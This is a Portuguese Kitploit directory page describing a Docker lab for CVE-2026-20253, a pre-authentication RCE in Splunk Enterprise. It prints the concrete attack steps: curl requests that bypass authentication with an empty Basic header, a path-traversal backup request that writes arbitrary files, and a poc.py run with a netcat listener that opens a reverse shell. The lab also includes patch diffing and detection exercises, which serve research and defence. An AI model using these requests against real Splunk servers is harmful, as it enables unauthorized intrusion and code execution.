Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-20253 — Ambiente de laboratório Docker com exploit PoC e verificador para CVE-2026-20253, um RCE pré-autenticação no Splunk Enterprise através do serviço sidecar PostgreSQL. | Kitploit
Ferramentas/GitHubGitHub/ivanesk315/cve-2026-20253
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingLabs e Prática
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Ambiente de laboratório Docker com exploit PoC e verificador para CVE-2026-20253, um RCE pré-autenticação no Splunk Enterprise através do serviço sidecar PostgreSQL.

Ver Repositório
há 0 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente de Laboratório CVE-2026-20253

RCE Pré-Autenticação no Splunk Enterprise via Serviço Sidecar PostgreSQL

CVECVE-2026-20253
CVSS9.8 (Crítico)
TipoExecução Remota de Código Não Autenticada
CWECWE-306: Autenticação Ausente para Função Crítica
ProdutoSplunk Enterprise 10.0.x / 10.2.x

AVISO: Este laboratório destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes de penetração. Não o utilize contra sistemas que não lhe pertencem ou para os quais não possui autorização explícita de teste.


Arquitetura do Laboratório

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                  Docker Network: cve-lab             │
│                  Subnet: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  Port 8000 (Web)     │   │  nmap, netcat        │  │
│  │  Port 8089 (API)     │   │  postgresql-client   │  │
│  │  Port 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (optional, profile: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  Port 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

Pré-requisitos

  • Docker & Docker Compose
  • Git
  • 8GB+ de RAM (o Splunk requer memória significativa)
  • Acesso à Internet (para baixar as imagens Docker)

Início Rápido

1. Iniciar o laboratório vulnerável

root@kitploit:~
# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Verificar se o Splunk está em execução

  • Abra o navegador: http://localhost:8000
  • Login: admin / ChangeMeNow!

3. Executar o verificador de vulnerabilidade

root@kitploit:~
# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. Executar o exploit PoC

root@kitploit:~
# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (Opcional) Iniciar a versão corrigida para comparação

root@kitploit:~
docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

Exercícios de Laboratório

Exercício 1: Reconhecimento & Identificação de Vulnerabilidade

Objetivo: Identificar os endpoints do sidecar PostgreSQL e verificar o bypass de autenticação.

root@kitploit:~
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

Perguntas:

  • Quais códigos de status HTTP você observa?
  • Para que Authorization: Basic Og== é decodificado?
  • Por que uma resposta 400 indica vulnerabilidade (em vez de 401)?

Exercício 2: Primitiva de Escrita de Arquivo

Objetivo: Demonstrar a criação arbitrária de arquivos no servidor Splunk.

root@kitploit:~
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

Exercício 3: Cadeia Completa de RCE

Objetivo: Alcançar execução de código no servidor Splunk.

  1. Inicie um listener netcat na máquina atacante
  2. Execute o exploit PoC com a flag --rce
  3. Verifique a conexão de shell reverso
  4. Investigue quais permissões o shell possui (whoami, id, ls /opt/splunk/etc/)

Exercício 4: Análise de Diff do Patch

Objetivo: Entender o que mudou entre as versões vulnerável e corrigida.

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

Exercício 5: Engenharia de Detecção

Objetivo: Criar regras de detecção para esta vulnerabilidade.

  1. Habilite o log interno do Splunk na instância vulnerável
  2. Execute o exploit
  3. Pesquise em index=_internal por artefatos do ataque
  4. Escreva consultas SPL de detecção (veja report/ANALYSIS.md Seção 6)
  5. Teste suas detecções contra o exploit

Estrutura de Arquivos

root@kitploit:~
CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

Dicas de Depuração

O contêiner Splunk não inicia

root@kitploit:~
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

Verificar se o sidecar PostgreSQL está em execução

root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Inspecionar os logs internos do Splunk

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

Verificar o script de entrada modular de destino

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Capturar tráfego de rede para análise

root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

Limpeza

root@kitploit:~
# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

Referências

  • Análise Completa de Causa Raiz
  • Aviso do Splunk SVD-2026-0610
  • Análise & PoC do WatchTowr Labs
  • Catálogo KEV da CISA
  • Writeup Técnico da Picus Security
Baixar ferramenta